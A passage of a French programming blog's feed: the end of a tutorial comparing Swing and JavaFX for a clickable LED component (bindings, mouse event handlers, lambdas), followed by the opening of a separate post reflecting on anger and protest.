&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;led&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;onProperty&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;addListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ChangeListener&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Boolean&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nd"&gt;@Override&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;changed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ObservableValue&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;extends&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Boolean&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;observable&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="n"&gt;Boolean&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;oldValue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Boolean&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;newValue&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// do something&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Dans cet exemple, le seul changement graphique lorsque la led s&amp;rsquo;allume, s&amp;rsquo;éteint ou change de couleur, c&amp;rsquo;est la couleur de remplissage du cercle. Je dois pourtant me charger de mettre à jour cette couleur dans chaque &lt;em&gt;setter&lt;/em&gt; par le biais de &lt;code&gt;circle.setFill(&amp;lt;color&amp;gt;)&lt;/code&gt;. On me souffle dans l&amp;rsquo;oreillette — merci — qu&amp;rsquo;il est possible de lier des propriétés entre elles. &lt;em&gt;bind&lt;/em&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;circle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;fillProperty&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;bind&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;color&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Avec ceci, dès que je change la propriété &lt;em&gt;color&lt;/em&gt; via son &lt;em&gt;setter&lt;/em&gt; par exemple, la propriété &lt;em&gt;fill&lt;/em&gt; de &lt;em&gt;circle&lt;/em&gt; est également mise à jour. Et le cercle change de couleur.&lt;/p&gt;
&lt;p&gt;Ça ne suffira malheureusement pas dans notre cas. Pour que le cercle change de couleur lorsque &lt;em&gt;color&lt;/em&gt; change ou lorsque &lt;em&gt;on&lt;/em&gt; change… c&amp;rsquo;est un peu plus complexe. Il faut que les propriétés &lt;em&gt;color&lt;/em&gt; et &lt;em&gt;on&lt;/em&gt; soient liées dans un &lt;em&gt;binding&lt;/em&gt; spécifique qu&amp;rsquo;il faudra définir. Il hérite de &lt;code&gt;ObjectBinding&amp;lt;T&amp;gt;&lt;/code&gt; où &lt;code&gt;T&lt;/code&gt; sera de type &lt;code&gt;Color&lt;/code&gt; dans notre cas puisque c&amp;rsquo;est une couleur qu&amp;rsquo;il faut fournir à la propriété &lt;em&gt;fill&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Avec une classe interne comme celle-ci&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;private&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;FillShapeBinding&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;extends&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ObjectBinding&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Color&lt;/span&gt;&lt;span class="err"&gt;\&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;FillShapeBinding&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;bind&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;color&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;on&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nd"&gt;@Override&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kd"&gt;protected&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Color&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;computeValue&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;isOn&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;getColor&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Color&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;TRANSPARENT&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;on pourra ajouter le &lt;em&gt;binding&lt;/em&gt; à la propriété &lt;em&gt;fill&lt;/em&gt; et les trois propriétés seront liées.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;circle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;fillProperty&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="na"&gt;bind&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FillShapeBinding&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Les &lt;em&gt;setters&lt;/em&gt; sont maintenant de simples setters dans lesquels n&amp;rsquo;apparaissent plus aucune référence à la classe &lt;em&gt;circle&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Et la gestion des évènements ?&lt;/h2&gt;
&lt;p&gt;Je voudrais maintenant rendre ma led cliquable. Lorsque l&amp;rsquo;on clique dessus, elle passe de l&amp;rsquo;état éteint (&lt;em&gt;off&lt;/em&gt;) à l&amp;rsquo;état allumé (&lt;em&gt;on&lt;/em&gt;) et &lt;em&gt;vice versa&lt;/em&gt;. Mon &lt;em&gt;JavaBean&lt;/em&gt; doit donc écouter la souris. Il doit s&amp;rsquo;ajouter comme écouteur des clics (ou autres événements de la souris).&lt;/p&gt;
&lt;p&gt;Avec Swing, la led doit alors implémenter &lt;code&gt;MouseListener&lt;/code&gt; et écrire toutes les méthodes de l&amp;rsquo;interface à savoir les cinq méthodes &lt;code&gt;MouseClicked&lt;/code&gt;, &lt;code&gt;MousePressed&lt;/code&gt;, &lt;code&gt;MouseRelease&lt;/code&gt;, &lt;code&gt;MouseEntered&lt;/code&gt; et &lt;code&gt;MouseExited&lt;/code&gt;. Même si certaines méthodes peuvent avoir un corps vide, elles doivent être présentes. Je ne peut pas hériter de &lt;code&gt;MouseAdapter&lt;/code&gt; et ne réécrire que les méthodes qui m&amp;rsquo;intéressent car j&amp;rsquo;ai déjà mangé mon héritage. Je pourrais utiliser une classe interne anonyme dans mon constructeur mais dans ce cas je ne serais pas « reconnu publiquement » comme étant écouteur de cette souris.&lt;/p&gt;
&lt;p&gt;Bref, j&amp;rsquo;ajoute à mon code les instructions suivantes:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;GLed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;extends&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;JPanel&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kd"&gt;implements&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Serializable&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PropertyChangeListener&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MouseListener&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// …&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;GLed&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// …&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;addMouseListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nd"&gt;@Override&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mouseClicked&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MouseEvent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;setOn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;isOn&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nd"&gt;@Override&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mousePressed&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MouseEvent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// nothing to do&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// some &amp;quot;no code&amp;quot; for mouseReleased(MouseEvent e), &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// mouseEntered(MouseEvent e) and mouseExited(MouseEvent e)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Je peux toujours préférer la manière « classes internes ». De cette manière, je peux utiliser la classe &lt;code&gt;MouseAdapter&lt;/code&gt;. Ce qui me donne un code plus concis que je préfère:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;GLed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;extends&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;JPanel&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kd"&gt;implements&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Serializable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// …&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;GLed&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// …&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;addMouseListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MouseAdapter&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;

&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nd"&gt;@Override&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mouseClicked&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MouseEvent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;setOn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;isOn&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;À nouveau, JavaFX est plus générique et la led doit implémenter &lt;code&gt;EventHandler&amp;lt;T&amp;gt;&lt;/code&gt; ou &lt;code&gt;T&lt;/code&gt; sera ici &lt;code&gt;MouseEvent&lt;/code&gt; ou utiliser une classe interne anonyme. Lorsque l&amp;rsquo;on s&amp;rsquo;ajoute comme écouteur, il faut préciser quel évènement précis on veut écouter. Dans cet exemple, c&amp;rsquo;est &lt;code&gt;MouseEvent.MOUSE_CLICKED&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;GLed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;extends&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Parent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// …&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;GLed&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// … &lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;addEventHandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MouseEvent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;MOUSE_CLICKED&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EventHandler&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MouseEvent&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;

&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nd"&gt;@Override&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;handle&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MouseEvent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="n"&gt;setOn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;isOn&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Plus générique et plus concis !&lt;/p&gt;
&lt;p&gt;Et si j&amp;rsquo;utilise les &lt;a href="2014-06-03-jdk8.html"&gt;lambdas&lt;/a&gt; — ce que je n&amp;rsquo;ai sciemment pas fait ici pour ne pas embrouiller le lecteur — je peux encore faire plus court. Il faudra trouver le bon équilibre entre concision et lisibilité mais ceci est une autre histoire.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;GLed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;extends&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Parent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;

&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// …&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kd"&gt;public&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;GLed&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// … &lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;addEventHandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MouseEvent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;MOUSE_CLICKED&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;MouseEvent&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;setOn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;isOn&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Vous pouvez reprendre une activité normale.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Remarques. En octobre 2014, JavaFX sans OpenGl ne fonctionnait pas. Il n&amp;rsquo;était pas possible de lancer une interface graphique. Pour résoudre le problème, ajouter une option à la jvm: &lt;code&gt;-Dprism.order=sw&lt;/code&gt;. Ça ne semble plus très utile en octobre 2015. Pour ceux qui cherchent un tutoriel classique, &lt;a href="https://openclassrooms.com/courses/les-applications-web-avec-javafx/les-pre-requis-1"&gt;openclassrooms&lt;/a&gt; en propose un.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Merci aux relecteurs; Anne, Cath, Sébastien et Jonathan&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo par &lt;a href="https://www.flickr.com/photos/ptc24/14339698018/"&gt;Peter Corbett&lt;/a&gt;; des leds d&amp;rsquo;une lampe de vélo. Conseil sécurité. En vélo, si vous êtes vu, c&amp;rsquo;est principalement grâce à votre &lt;strong&gt;vareuse&lt;/strong&gt;. Pas parce que vous allumez trois malheureux leds.&lt;/em&gt;&lt;/p&gt;
&lt;h3&gt;Annexes&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/pdf/20151109-BLOG-javafx.md.pdf" title="20151109-BLOG-javafx.md.pdf (597.59 KB)"&gt;20151109-BLOG-javafx.md.pdf&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content></entry><entry><title>Pas content !</title><link href="http://blog.namok.be/2015-10-26-pas-content.html" rel="alternate"/><published>2015-10-26T00:00:00+01:00</published><updated>2015-10-26T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2015-10-26:/2015-10-26-pas-content.html</id><summary type="html">Réflexion sur la colère, la protestation et les moyens non-violents de se faire entendre.</summary><content type="html">&lt;p&gt;&lt;img alt="tractor_by_jayw10990-d7t89zw.jpg" src="/images/tractor_by_jayw10990-d7t89zw.jpg" title="tractor_by_jayw10990-d7t89zw.jpg, oct. 2015"&gt;&lt;/p&gt;
&lt;p&gt;Pas content. Non, décidément, je ne suis pas content. Il faut que je le dise. Il est impératif que je le crie.&lt;/p&gt;
&lt;p&gt;— Tu veux manifester et tu n&amp;rsquo;as même pas de tracteur &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; !&lt;/p&gt;
&lt;p&gt;Je ne suis pas content. Vraiment pas content. Ça suffit. Je suis suffisamment énervé que pour oser te le dire. Vas-tu m&amp;rsquo;écouter ?&lt;br&gt;
NON.&lt;/p&gt;
&lt;p&gt;Ils m&amp;rsquo;ont dit que pour être entendu par les patrons, il fallait &lt;strong&gt;casser l&amp;rsquo;outil&lt;/strong&gt;. Éteindre les fourneaux. Mettre le feu aux entrepôts. Casser les vitres. Frapper les cognes. Et si les collègues veulent travailler, on les en empêchera. Pas question que quelqu&amp;rsquo;un entre dans l&amp;rsquo;usine. Si les patrons perdent de l&amp;rsquo;argent alors ils écouteront. Si j&amp;rsquo;ai faim, ils s&amp;rsquo;en foutent.&lt;/p&gt;
